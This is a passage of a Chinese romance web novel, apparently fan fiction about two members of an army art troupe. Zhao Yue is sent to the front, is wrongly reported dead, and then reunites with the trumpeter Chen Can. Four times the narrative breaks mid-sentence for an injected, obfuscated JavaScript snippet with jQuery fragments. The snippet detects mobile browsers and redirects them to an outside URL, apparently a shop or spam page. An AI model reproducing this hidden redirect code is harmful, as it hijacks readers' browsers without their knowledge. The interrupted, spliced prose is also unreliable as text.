沈一娣已经提着收拾好的行李等在外面,眼睛也是红的,却什么都没多问,只把行李递到她手里。
“走吧。”
兆悦接过行李,没有回头。
她不敢回头,怕一回头,就再也舍不得走。
车已经在雨中等候。
她拉开车门,坐了进去。
车子缓缓启动,溅起水花,渐渐驶离营房,驶离文工团,驶离那个藏着她全部心动与不舍的地方。
后排座位上,兆悦望着窗外模糊的景色,终于忍不住,捂住嘴,失声痛哭。
而排练厅里,
陈灿依旧站在原地,维持着抱着她的姿势,一动不动。
雨水敲打着玻璃窗,像一场停不下来的泪。
车子碾着积水驶离营区,雨势丝毫未减,玻璃窗外的文工团越来越小,最终缩成一片模糊的墨绿色影子。
兆悦靠在冰冷的车座上,浑身还残留着陈灿的温度与眼泪的咸涩,心口像被生生挖走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309112|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一块,空得发疼。
她垂着眼,指尖还在微微发抖,刚才排练厅里的每一句话、每一次触碰、每一个滚烫的吻,都在脑海里反复回放。
坐在前排的领导转过头,递过来一个封得严实的牛皮信封,语气平淡而刻板:“兆悦同志,这是兆师长托我们转交给你的信。”
兆悦愣了一下,缓缓伸手接过。
信封很硬,很凉,没有一丝温度,像极了她的父母。
她拆开信封,抽出里面的信纸。
字迹工整有力,却透着一股不容置喙的冷漠与强势,一眼就能认出,是她父亲的笔锋。
信很短,短得刺骨。
悦儿:
得知你私下长期写作、阅读违禁书籍,往来不当,言行失度,思想偏激,我们对此极为震怒,亦极为失望。
你出身干部家庭,一言一行皆代表家风门楣,不可有半分逾矩。
你的那些文字、那些无用的书籍、不合时宜的念想,全是歪路、邪路,若继续放任,必将引火烧身,前途尽毁,累及全家。
此次将你调往一线,是我们为你力排众议、保全你的唯一办法。前线履历光荣,能为你洗白非议、压下流言,日后再无人敢以你的思想、文字、交往做文章。
我们所做一切,皆是为你好。
到了前线,收起所有歪心思,断尽所有不该有的执念,安分守纪,踏实立功,勿再让我们失望。
父母
没有关心。
没有问候。
没有一句注意安全。
没有一丝不舍。
兆悦握着信纸的手指猛地收紧,指节泛白,纸张被她攥得发皱。
原来如此。
原来这场突如其来的调令,根本不是因为别的。
是因为她偷偷写的字,偷偷看的书,偷偷保留的、属于自己的精神世界。
是因为她不愿做一个被他们彻底捏在手里、没有思想、没有灵魂的木偶。
是因为她坚守的文字与内心,触碰了他们最忌讳、最不能容忍的底线——她有了自己的判断,有了自己的灵魂,有了他们控制不了的东西。
他们怕她的文字,怕她的思想,怕她的清醒。
所以用最冷酷、最权力的方式,把她扔进枪林弹雨的前线,美其名曰“洗白”“为你好”。
只为碾碎她所有的爱好、所有的坚持、所有的自我。
至于她和陈灿……
不过是这场强权镇压里,最无辜、最可惜的牺牲品。
是他们斩断她翅膀时,顺带掉落的、那一点点羽毛。
眼泪毫无预兆地砸落在信纸上,晕开冰冷的墨迹。
兆悦终于明白,她不是输给了距离,不是输给了勇气,而是输给了这座大山——输给了不允许她有自我的家庭,输给了不允许她有灵魂的时代。
她难过的,不只是刚刚确认就被生生拆开的爱情。
更是她藏在心底、小心翼翼守护了那么久的文字、思想、热爱,被最亲的人,贬得一文不值,踩得粉碎。
车窗外的雨更大了,像是要把整个世界都淹没。
兆悦把头轻轻靠在冰冷的玻璃上,浑身发抖。
她闭上眼,心里翻涌的不是恨,是彻骨的悲凉。
陈灿,对不起。
我们的分开,不是因为不够喜欢,是我连做我自己,都成了罪过。
车子一路向前,驶向硝烟未知的远方。
31. 造化
兆悦再睁眼时,世界已经换了模样。
没有文工团的音乐,没有排练厅的镜子,没有黄昏时的小路,只有连绵的战壕、轰鸣的炮火,和永远散不去的硝烟味。
她被分到了通讯部,工作在深深的地下掩体里,不见天日,只有发报机规律的电流声,日夜陪伴着她。
外面是枪林弹雨,是生与死的赌注;里面是暗无天日的狭小空间,是每一分每一秒都在煎熬的精神斗争。
她不敢闲下来。
一闲下来,思念就会像潮水一样,把她整个人淹没。
又是一个深夜,掩体里格外安静,战友们都累得沉沉睡去。
兆悦靠在冰冷的墙壁上,望着头顶漆黑的顶壁,思绪不受控制地飘回了远方那个温暖的文工团。
陈灿……
她在心里轻轻念着这个名字。
不知道他现在在做什么?
是还会去排练厅偷偷加练小号吗?
大概也不可能了,那个曾经只属于他们的秘密基地,如今早被何小萍占着,夜夜独自练舞。
还是会像电影里一样,从炊事班顺来新鲜的西红柿,偷偷塞给哪个女兵?
他有没有兑现那句承诺——只给她一个人带?
又或者……
他会不会,也在某一个瞬间,突然想起她?
心口一阵发酸,眼眶微微发热。
她拼命咬住唇,不让眼泪掉下来。
在这里,脆弱是最奢侈的东西。
可就在这阵伤感刚漫上来的瞬间,远处突然传来一阵尖锐、恐怖的破空声——是炮弹袭来!
兆悦脸色骤变,所有儿女情长、所有思念伤感,在一秒钟内被她狠狠压进心底。
她几乎是本能地弹起来,抓起耳机,手指飞快地在发报机上敲击,警报信号以最快速度传向各个哨位与掩体。
“警报!敌炮来袭!隐蔽!”
她疯了一样一遍遍重复、确认,直到所有点位都传回回应。
炮弹在不远处轰然炸开,大地剧烈震颤,尘土簌簌落下。
兆悦死死守着发报机,一动不动。
这一夜,她凭着一秒不差的警觉,整整救下了十三条生命。
没有人知道,那个在炮火前冷静得可怕的女通讯兵,前一秒还在想念远方的少年。
硝烟散去,日子一天天过去。
一个月后,这片战场的任务正式结束。
兆悦一身尘土,坐上了来时那辆摇摇晃晃的绿皮卡。
车轱辘碾过坑坑洼洼的土路,她望着窗外飞速后退的风景,心里只有一个方向。
她立了功,成了人人称赞的战斗英雄。
荣誉、表彰、前途,所有人都以为她会就此留在前线,一路高升。
可只有兆悦自己清楚。
她不要什么英雄名号,不要什么光荣履历。
她只想回到那个有音乐、有笑声、有排练厅、有晚风小路的文工团。
回到那个小号手的身边。
皮卡一路颠簸,载着满身硝烟的她,向着归途缓缓驶去。
风里,她轻轻闭上眼,唇角勾起一丝几不可见的弧度。
等我,陈灿。
而千里之外的文工团,早已是一片惊涛骇浪。
兆悦走后,陈灿彻底变成了一具没有灵魂的空壳。
他整日魂不守舍,眼神空洞,训练走神,吃饭发呆,连最宝贝的小号都不看了。
所有人都看出了不对劲,却没人敢多问,更没有人会把玩世不恭的他,和突然远赴一线的兆悦联系在一起。
团里时常有人提起兆悦,议论那个清冷安静的女兵,怎么会突然自请前往最危险的战场。
只有陈灿,每听一次,心就像被刀割一次。
他不敢问,却又疯了一样想知道她的消息。
思来想去,他悄悄找到了刘峰。
刘峰性子厚道,人脉也广,陈灿红着眼眶,低声拜托他帮忙打听战场的消息——“你帮我问一下……兆悦她在那边怎么样了。”
可造化弄人。
刘峰托人往前线联络点打听时,只说了“姓兆的女兵”,也许是因为电话交流,层层传达,直接听成了“姓赵的女兵”。
偏偏不久前,战场上刚有一位赵姓女兵不幸牺牲,消息确凿,遗体也是对方经手处理的。
对方语气沉重,毫不犹豫地回复:“赵姓女兵已经牺牲了,情况属实,遗体我亲自处理的。”
信息一层传一层,错得彻彻底底。
等到刘峰收到回信时,早已被默认为——兆悦已经牺牲。
刘峰当场僵在原地,哀悼着,半天缓不过神。
他看着每天活得像行尸走肉的陈灿,心里像压了一块巨石,张了好几次嘴,都不知道该如何把这个噩耗说出口。
最终,他只是重重拍了拍陈灿的肩膀,忍着喉咙里的哽咽,艰难地吐出一句话:
“陈灿……兆悦她,牺牲了。”
世界,在这一刻彻底崩塌。
天旋地转,耳边所有声音都消失了。
陈灿站在原地,脸色惨白如纸,连呼吸都忘了。
下一秒,他猛地转身,冲回宿舍,把锁在盒子里、擦得锃亮、宝贝得胜过一切的小号狠狠摔在了地上。
黄铜小号砸在水泥地上,发出刺耳的巨响。
萧穗子正好路过,吓得脸色一变,连忙冲过来捡起小号,心疼地拍掉灰尘:“怎么回事啊陈灿!这不是你最宝贝的东西吗?怎么能摔了!”
郝淑雯也闻声赶来,皱着眉上前:“哎哟你今天是撞了邪了?魂都丢了!”
可陈灿已经听不见任何声音了。
他眼里没有光,没有痛,只有一片死寂的绝望。
他猛地推开众人,发了疯一样往外冲,他要去战场,他要去找她,他不信,他死都不信!
“你给我回来!”
杭春明眼疾手快,死死拽住他,用尽全身力气把失控的他拖回宿舍。
门关死,杭春明看着眼前这个哭得浑身发抖、几乎窒息的少年,一句话都说不出来。
陈灿浑身脱力,重重蹲在地上,双手死死揪住自己的头发。
脑海里翻来覆去,全是那晚排练厅里,她哭着对他说的话。
——我答应你,我一定回来。
——等我。
你不是答应过我一定会回来的吗?
你不是说过,一定会安全回到我身边的吗?
你怎么能说话不算数……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309113|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>怎么能就这样丢下我一个人……
压抑了无数日夜的情绪彻底爆发,哭得撕心裂肺,直到哭声渐渐微弱,直接哭晕了过去。
再次醒来,已经是两天后。
他发了一场骇人的高烧,整个人烧得迷迷糊糊,浑身滚烫。
杭春明守在床边,眼睛通红,见他睁眼,又急又气:“你快把我吓死了!再烧下去人都没了,知不知道!”
陈灿躺在那儿,眼神空洞,声音轻得像一缕烟:“死了……就死了算了。”
杭春明心里一揪,知道再也瞒不住、拖不下去了。
他立刻跑去告诉了政委。
政委一听是陈灿,瞬间头大——这可是昆明军区副司令员的儿子。
他不敢耽搁,第一时间联系了陈副司令。
电话那头,陈父也万分意外,他印象里的儿子向来玩世不恭、阳光、混不吝,怎么会突然变成这副模样?他让政委稳住局面,自己即刻动身赶来文工团。
可陈灿已经彻底魔怔了。
不过几天时间,他瘦得脱了相,脸颊凹陷,眼神呆滞,整个人像被抽走了所有生气。
萧穗子看在眼里,疼在心里,每天端水送药、嘘寒问暖,哪怕得不到一句回应也从不放弃。
郝淑雯再也不跟他斗嘴,看着他这副样子,只剩下满心的震惊与无措。
政委眼看再拖就要出人命,紧急联系陈副司令抵达。
那天下午,陈灿被人搀扶着见到了自己的父亲。
他好几天没参加训练,没洗脸,没好好吃饭,早已没了往日的意气风发,几乎脱了人形。
陈副司令原本还想板起脸训斥儿子,多大的人了,居然闹起脾气自暴自弃。
可亲眼看见儿子这副半死不活的样子,所有的火气瞬间化作心疼。
父子俩单独谈话,陈灿沙哑着嗓子,断断续续说出了全部——他喜欢兆悦,他以为她死了。
陈副司令听完,心里瞬间明白了七八分。
能安安稳稳待在文工团,却被强行调去前线的,多半不是自愿,而是家里强势安排,明着光荣,实则惩戒。
他立刻动用军区人脉去查,一查才知道,女孩是一位副师长的女儿,是她父亲执意把女儿送去战场。
陈副司令直接一个电话打给了女方父亲——那位副师长。
对方接到军区副司令的电话,当场受宠若惊,又一头雾水。
直到陈父问起他女儿兆悦在战场的情况,是不是已经牺牲,对方彻底愣住了。
“牺牲?绝不可能!”副师长语气笃定,“真有牺牲,部队第一时间会通知家属!我们没有接到任何消息,我女儿好好的,还立了功,马上就要调回来了!”
原来是姓搞错了。
兆,不是赵。
一场阴差阳错的误会。
陈副司令挂了电话,立刻赶回儿子的宿舍。
他看着躺在床上、眼神死寂的陈灿,深吸一口气,一字一句,清晰地告诉他:“儿子,她没死。是姓搞错了,兆悦还活着,她立了功,马上就要回来了。”
下一秒,
陈灿空洞的眼睛里,第一次重新亮起了光。
那束被死亡夺走的、熄灭了许久的光,终于,重新活了过来。
32. 再见
陈灿活过来了。
那场差点要了他半条命的高烧退去后,少年眼里熄灭的光,一点点重新燃了起来。
他开始按时吃饭、睡觉、训练,小号重新擦得锃亮,挂在床头,风吹过,还会发出轻轻的嗡鸣。
只是他变得比从前沉稳了。
团里的人只知道,他前段时间浑浑噩噩、瘦得脱相,要么闷在宿舍不出门,要么被政委叫去首长那边,谁也不知道他究竟经历了怎样一场生死般的煎熬,更没有人把他的失常,和早已远赴一线的兆悦联系在一起。
萧穗子心里的疑惑一天比一天重。
她看着重新振作的陈灿,终究没忍住,趁着休息时凑到他身边,语气里全是藏不住的关心,旁敲侧击地问:“陈灿,你前段时间到底怎么了?病得那么重,我们都吓坏了。”
陈灿只是淡淡抬了抬眼,声音平静,没什么多余的情绪:“没什么,一点小毛病。”
一句话,轻描淡写,把所有好奇都挡了回去。
郝淑雯见他恢复了往日的精气神,还想像从前一样凑上去斗嘴、打打闹闹,可每次开口,陈灿都只是冷淡地应一两句。
他的世界,好像悄悄关上了一扇门,除了那个即将归来的人,谁也进不去。
日子一天天过去,天气渐渐转冷,营房里的人纷纷套上了厚实的毛衣。
可偏偏这天,阳光格外暖和,风也温柔,大家穿得都比往日单薄。
舞蹈队的姑娘们更是不怕冷,依旧穿着短袖练功服,身姿挺拔,眉眼鲜活。
中午训练结束,哨声一响,所有人成群结队往食堂走,说说笑笑,阳光洒在小路上,一片安稳热闹。
就在这时,有人轻轻“咦”了一声。
不远处的停车坪旁,站着一道陌生又熟悉的身影。
是个身材姣好的女生,齐肩的中长发被风吹得微微飘动,气质沉静,背对着人群,正和政委低声说着什么。
政委说完,拍了拍她的肩膀,便转身离开了。
女生弯腰,从车后斗拿下自己简单的行李,动作干净利落。
她抬手看了一眼手表,像是在等什么,又像是在打量这片久违的营区。
下一秒,她缓缓转过身。
阳光正好落在她脸上。
清晰,明亮,毫无遮挡。
全场瞬间安静。
所有的说话声、脚步声、笑声,戛然而止。
所有人都僵在原地,瞪大了眼睛,满脸不敢置信。
站在那里的人是
——兆悦。
全场瞬间安静。
所有的说话声、脚步声、笑声,戛然而止。
第一个反应过来的是何小萍。
她眼睛猛地一亮,几乎是立刻甩开步子,冲了过去,一把抱住兆悦,声音又轻又抖:“悦儿姐,你回来了……你真的回来了……”
兆悦被她抱得一怔,随即轻轻笑了,伸手回抱住她:“我回来了。”
杭春明紧跟着挤过来,一贯大大咧咧的汉子,此刻眼眶都红了,用力拍了拍兆悦的胳膊,半天只憋出一句:“回来就好,回来就好。”
萧穗子眼泪直接掉了下来,上前轻轻拉住她的手,上下打量:“你瘦了好多,这段时间一定吃了很多苦吧……”
郝淑雯抹了把眼睛,嘴硬心软地嘟囔:“哎呀妈,可算回来了,给我感动的……你这丫头,一声不吭就去那么远的地方。”
连一向有些不对付的林丁丁,也走了过来,轻轻点头,语气真诚:“兆悦,好久不见。”
大家围上来,七嘴八舌,有惊喜,有心疼,有感慨。
兆悦一一笑着回应,目光温柔地扫过一张张熟悉的脸。
然后,她的视线,穿过人群,越过所有人,轻轻落在了最远处。
那里站着一个少年。
穿着简单的训练服,身形挺拔,手里无意识地攥着小号的挂带。
阳光落在他身上,却照不亮他瞬间僵住的神情。
陈灿就那样站在原地,
一动不动,
连呼吸都忘了。
人群一下子围了上来,关心的、好奇的、惊叹的目光全都落在兆悦身上。
兆悦,你可算回来了!我们还以为你要在前线待好久呢!”
“你头发怎么剪短了?齐肩刚刚好,特精神!”
“咦,你怎么还变白了?不是说前线风吹日晒吗?我们还以为你回来会黑一大圈呢!”
七嘴八舌的问候涌过来,兆悦始终保持着温和的笑意,语气平静又得体。
“一直在地下通讯部待着,很少见太阳,就白了。”她轻轻解释,声音依旧是记忆里淡淡的调子,“就是瘦了点,别的都还好。”
确实是瘦了,脸颊线条更清瘦,眼神却比从前更亮,一身硝烟洗尽后,整个人显得干净利落,气质沉静得让人挪不开眼。
杭春明站在一旁,看着她安然无恙,心里那块大石头总算落地,却也不敢多提什么,只憨憨笑着点头。
萧穗子拉着她的手不肯放,越看越心疼,一遍遍叮嘱她回头好好补补身体。
郝淑雯嘴上咋咋呼呼,眼睛却一直黏在她身上,生怕她少了一块皮似的。
林丁丁也站在旁边,温和笑着,不多话。
所有人都围着她,热闹得不像话。
没有人发现,人群之外,那道始终沉默伫立的身影。
陈灿站在不远处,指尖紧紧攥着那支擦得锃亮的小号。
他就那样远远看着她,看着她笑,看着她说话,看着她被众人围在中间,安然无恙。
心脏在胸腔里疯狂地跳,几乎要撞碎肋骨,可他脚下像生了根,一步都动不了。
他不敢上前。
不敢打破她此刻平静的归来。
更不敢,在众目睽睽之下,失态到溃不成军。
他只是看着,死死地看着。
把她的样子,一笔一划,重新刻进眼底,刻进心里。
兆悦偶尔抬眼,目光会若无其事地扫过他的方向,很浅,很淡,快得几乎让人无法察觉。
没有停留,没有炽热,没有多余的情绪。
可只有她自己知道,在视线触到他身影的那一秒,她的指尖,轻轻蜷了一下。
久别重逢。
千言万语。
却只是不动声色。
在陈灿看来,兆悦自始至终,没有朝自己的方向多看一眼,更没有半句招呼,一个眼神交汇都没有。
这份平静得近乎陌生的冷淡,是陈灿无论如何都没有想到的。
他以为,哪怕隔着人群,她也会给自己一个眼神;他以为,历经生死别离,她至少会给自己一点示意。
可是没有,什么都没有。
她就像看待一个再普通不过的队友,一个无关紧要的陌生人。
心脏像是被什么东西轻轻撞了一下,闷得发慌。
也许是之前心疼得太久,痛得太狠,连哭都哭到晕厥,此刻真正见到她平安回来,那些撕心裂肺的痛感反
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309114|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而全都麻木了,只剩下一片空茫的轻。
他站在原地,看着她被众人簇拥着走远,直到身影消失在宿舍楼口。
兆悦回到了原先的宿舍,一切还是老样子,床铺干净,物品整齐,像是从未有人离开过。
稍作休整,下午她便准时出现在排练厅,重新归队,加入了乐队。
那架她曾经用过的钢琴,盖上落了一层薄薄的灰,安静地立在角落。
兆悦走过去,指尖轻轻拂过琴盖,眼底掠过一丝不易察觉的柔软。
可这天下午的乐队,气氛格外奇怪。
曲子排得磕磕绊绊,错误频频,乐手们心思浮动,总忍不住往刚归队的兆悦身上瞟。
而最明显的,是小号声。
一向音准稳定、表现亮眼的陈灿,今天频频吹错调子,节奏乱得一塌糊涂。
连分队长都忍不住停下指挥棒,多看了他两眼:“陈灿,今天怎么回事?心不在焉的。”
陈灿攥着小号,唇线绷得很紧,只低声说了句:“抱歉,再来一遍。”
只有他自己知道,他所有的注意力,全都不受控制地落在不远处那个安静的身影上。
但她坐得笔直,翻着乐谱,神情淡然,仿佛身边所有的混乱,都与她无关。
傍晚食堂里,人声鼎沸。
兆悦一出现,就被不少人围了上来,你一言我一语地打听前线的事。
熟悉的面孔,她会温和地回答一两句;不熟悉的、过分好奇的,她便淡淡移开目光,懒得理睬。
依旧是那个清冷、高傲的兆悦。
她没变,还是老样子。
只有陈灿,端着餐盘,坐在离她不远不近的位置,一口饭都咽不下去。
他就默默看着她,看着她从容应对所有好奇,看着她偶尔低头吃饭,侧脸干净利落。
从头到尾,她没有往他这边看过一眼。
夜色慢慢笼罩营房。
等所有人都散去,空荡荡的排练厅里,突然响起了一道孤独的小号声。
低沉,绵长,带着藏不住的心事,在安静的夜里轻轻回荡。
是陈灿。
他一个人,站在黑暗的排练厅中央,一遍遍吹着不成调的旋律。
没有技巧,没有章法,只有压抑了一整天的想念、不安、与无措。
白天在所有人面前的平静、淡然、目不斜视,全是她强行压下的克制。
她不是不在意,不是不心疼,更不是不想理他——只是大庭广众之下,仓促的一眼、潦草的一句问候,配不上他们历经生死的感情。
她不想在众人的目光里,把最珍贵的心意变得廉价。
听着那道让她心碎的小号声,兆悦不再有半分犹豫。
她轻轻带上宿舍门,沿着夜色里的小路,一步一步,走向亮着微弱灯光的排练厅。
离得越近,心跳越快。
秋夜里的风很凉,却吹不散她眼底翻涌的温柔与滚烫。
她走到排练厅门口,停下脚步。
门没有关严,留着一条细缝。
透过缝隙,她一眼就看见了黑暗里的少年。
孤单,落寞,满身疲惫。
吹着小号,一遍又一遍,像在等一个永远不会来的人。
兆悦抬手,轻轻推开了门。
吱呀一声轻响,
打断了整夜的旋律。
陈灿猛地抬头。
四目相对。
夜色为证,
再无旁人。
33. 相交
月光从窗外淌进来,落在门口那人身上。
齐肩的短发,干净的侧脸,眼神安静得像一潭深湖。
是兆悦。
他没有说话,甚至忘了呼吸,只是定定地看着她,眼眶在黑暗里一点点发红。
她只是轻轻关上门,然后一步一步,缓慢却坚定地,朝他走过去。
她走到他面前,站定。
两人离得极近,近到能看清彼此眼底的红血丝,近到能闻到他身上淡淡的号油味,能感受到她身上刚从夜里带来的清冷空气。
陈灿的嘴唇微微颤抖,想说什么,喉咙却像被堵住,一个字也发不出来。
他怕一开口,声音就会崩裂。
他怕一伸手,就会唐突了她。
他更怕,这只是他痛到极致产生的幻觉。
兆悦缓缓抬起手,双手轻轻捧起他的脸。
掌心微凉,动作温柔得不像话。
她没有说话,只是用指尖,轻轻描摹着他的轮廓——眉骨、眼尾、鼻梁、下颌。
像是要把这段时间错过的他,一笔一笔,重新刻进心底。
陈灿浑身僵住,连小号都从无力的指尖滑落,轻轻砸在地上。
他看着近在咫尺的她,看着她眼底毫不掩饰的心疼与思念,看着她白天所有的冷淡全都化为此刻的滚烫。
所有的委屈、恐慌、绝望、失而复得的狂喜,在这一刻再也压不住。
眼泪,毫无预兆地砸了下来。
少年没有出声,就那样任由眼泪滚落,砸在她的手背上,烫得惊人。
陈灿一开口,就是积压了一天的委屈与不安:“你……你白天为什么不理我……”
“为什么连看都不看我一眼……”
一句话开了头,所有憋了许久的疑问全都涌了上来,慌慌张张问个不停。
“你在那边到底好不好?有没有受伤?有没有吃苦?”
“你头发怎么剪短了?是不是那边不方便……”
“你有没有想过我?哪怕一点点?”
“你知不知道我……”
他问得又急又快,恨不得把这几个月的空白全都一口气填满。
问着问着,他忽然顿住,才发现,自己说了那么多,兆悦却一句都没有回答。
她只是捧着他的脸,安安静静看着他,眼底含着浅浅的笑,目光温柔得能滴出水来,把他所有的慌乱全都包容进去。
陈灿喉结动了动,还要再开口,声音轻轻发哑:
“你怎么不说话……怎么一直沉……”
他的话音僵在半空。
兆悦没有回答,只是指尖微微用力,将他的脸更轻、更紧地按向自己。
她微微抬眸,眼底的温柔碎成滚烫的星火,呼吸先一步落在他唇上。
她微微踮脚,不等他再有任何反应,俯身吻了上去。
陈灿浑身一震,大脑瞬间空白。
所有的疑问、所有的委屈、所有的不安,在唇齿相触的那一瞬,彻底崩塌。
他几乎是本能地伸手,死死扣住她的腰,将她紧紧按在自己怀里,
像是怕一松手,她就会再次消失在战场的硝烟里。
唇齿间的触碰温柔辗转,带着一点轻浅的吮吸,像是要把这段时间所有的不安、所有的等待、所有差点生死相隔的恐惧,全都咽进彼此的呼吸里。
眼泪还挂在两人的脸颊,咸涩的温度混在一起,烫得人心尖发颤。
兆悦的手指慢慢插进他微乱的发间,轻轻按住他的后脑,把他更拉近自己。
每一下触碰都轻得发颤,却又重得砸进心底。
陈灿闭着眼,吻得近乎虔诚,又近乎失控。
他不知道自己是在确认她的存在,还是在弥补那些被硬生生夺走的日夜。
只知道,这一刻,她是真的回来了。
真的在他怀里,真的被他抱着,真的在吻他。
直到两人都微微喘不过气,才稍稍分开一点。
额头相抵,呼吸交缠,鼻尖轻轻蹭着鼻尖,谁都舍不得再远离半寸。
兆悦的指尖轻轻擦去他眼角的泪,声音又轻又哑,唇角带着刚吻过的湿软:“我没有不理你。”
“只是……那么多人在,我不想就那样潦草对你。”
陈灿没说话,只是再次低下头,轻轻含住她的唇,浅浅一吻。
一触即分,却比千言万语更让人心头发软。
“我好想你。”
他终于哑着嗓子,说出了这句,藏了无数个日夜的话。
他闭着眼,下颌绷得发紧,胸腔里翻涌的,早已不只是思念。
是后怕。
是整整一个月,日日夜夜、撕心裂肺的后怕。
他忽然开口,声音哑得像被砂纸磨过,每一个字都带着颤抖:“兆悦,我好怕。”
“我怕你不回来。
怕你去了一线,就真的留在了那里。
怕我这辈子,再也见不到你。”
他顿了顿,喉结狠狠滚动,把那段地狱般的日子,一字一句吐出来:“他们跟我说……说你牺牲了,再也回不来了。”
“那几天我疯了,不吃不喝,高烧不退,哭到晕过去,我真的以为……我把你弄丢了。”
兆悦浑身一震,眼底瞬间涌上惊痛,她抬头看他,才看清他眼底深处藏着的、几乎要将他摧毁的恐惧。
她从不知道,在她奔赴战场、拼命活着的日子里,他竟经历了这样一场生死般的折磨。
陈灿看着她震惊的眼,心里那根紧绷了太久的弦,彻底断了。
他捧着她的脸,眼神滚烫而孤注一掷,带着少年人从未有过的郑重与决绝。
“部队里就是这样的。
今天还在一起唱歌、排练、说笑,明天一道命令下来,调走、转行、退伍……天南海北。
一走,可能就是一辈子不见。”
“我以前混、我不懂事,我总以为日子还长,总以为我们还有时间。
可我差一点就真的失去你了。
差一点,我们就成了这辈子再也见不到的两个人。”
“我不要再等了。
我不要再拖了。
我不要再用‘以后’赌我们的缘分。”
他的拇指轻轻摩挲着她的唇,目光牢牢锁在她眼里,一字一顿,清晰、沉重、不容反悔:
“兆悦,我要你做我的女朋友。
不是战友,不是同伴,是我陈灿光明正大、唯一喜欢、一辈子都要抓住的人。”
“今晚,就在这里,我要我们确认关系。
我要你答应我,从今往后,你去哪里,我去哪里;你不离开,我不放手。就算天塌下来,就算调令下来,就算全世界都拦着,我也不会再让你从我身边走掉。”
他的声音发颤,却坚定得像誓言:“你答应我,好不好?”
兆悦看着眼前这个红着眼、几乎要哭出来的少年,看着他失而复得的恐慌,看着他孤注一掷的认真。
她没有丝毫犹豫。
缓缓抬手,按住他放在她脸颊上的手,轻轻覆在自己心口。
然后,她微微踮起脚,再次吻上他的唇。
这一次,温柔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309115|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、柔软、带着全部的回应与笃定。
吻毕,她贴着他的唇,轻轻喘着气,一字一句,清晰地告诉他:“我答应你。”
“陈灿,你是我的。”
“从现在起,永远都是。”
他没有说话,只是猛地收紧手臂,将她死死、死死地拥进怀里,下巴抵在她的发顶,浑身都在控制不住地轻颤。
怀里的人很轻,很暖,是真实的,是活着的,是完完全全属于他的。
所有的恐惧、懊悔、不安、思念,在这一刻终于有了归宿。
“好……”
他埋在她颈间,声音哑得几乎听不清,带着浓重的鼻音,一遍又一遍地应,
“好,我是你的,一直是你的,这辈子都是你的。”
“跑不掉,也绝不会跑。”
兆悦轻轻闭上眼,任由他抱着,鼻尖萦绕着他身上干净清爽的味道,那是只属于他一个人的、让她安心的气息。
这是她在暗无天日的地下通讯部里,无数个日夜,最想念、最牵挂的味道。
她抬手,环住他的腰,将脸轻轻贴在他的胸口,听着他有力而急促的心跳。
不知这样紧紧抱了多久,陈灿才稍稍松开些,低头看着她泛红的眼角,心疼得不行。
他微微弯腰,一手托住她的后腰,一手穿过她的膝弯,轻轻一带,就将她整个人打横抱了起来。
兆悦轻轻低呼一声,下意识搂住他的脖子。
陈灿抱着她,走到一旁的长椅边坐下,让她稳稳坐在自己一条腿上,随即立刻重新搂紧她,将她整个人都圈进自己怀里。
双臂牢牢环住她的腰,把她往自己心口按了又按。
兆悦顺从地靠进他怀里,脸轻轻埋进他的颈窝,鼻尖蹭着他温热的肌肤,深深吸了一口只属于他的气息。
陈灿则侧过头,脸颊贴着她的发鬓,下巴抵在她的肩窝,双臂收得极紧,像是要把这段时间所有的空缺,都用这一个拥抱填满。
两人不再说话,就这么安安静静抱着。
呼吸缠在一起,心跳叠在一起。
她的脸埋在他颈间,他的脸埋在她肩窝。
所有的生死离别、担惊受怕、思念成疾,在这一刻,都化作了最安稳、最踏实的相拥。
“兆悦……”陈灿哑着嗓子,轻轻唤她的名字。
过了很久,陈灿才轻轻动了动,声音低低的,带着一点执拗:“你还没说。”
兆悦在他怀里轻轻一顿,声音闷闷的:“说什么?”
陈灿轻轻收紧手臂,鼻尖蹭了蹭她的颈侧:“你还没说你喜欢我。”
“我要你亲口说。”
兆悦从他颈窝里抬起头,手臂轻轻搭在他肩上,眼底带着一点浅淡的笑,就那样安静地、直勾勾望着他的眼睛。
没有躲闪,没有害羞。
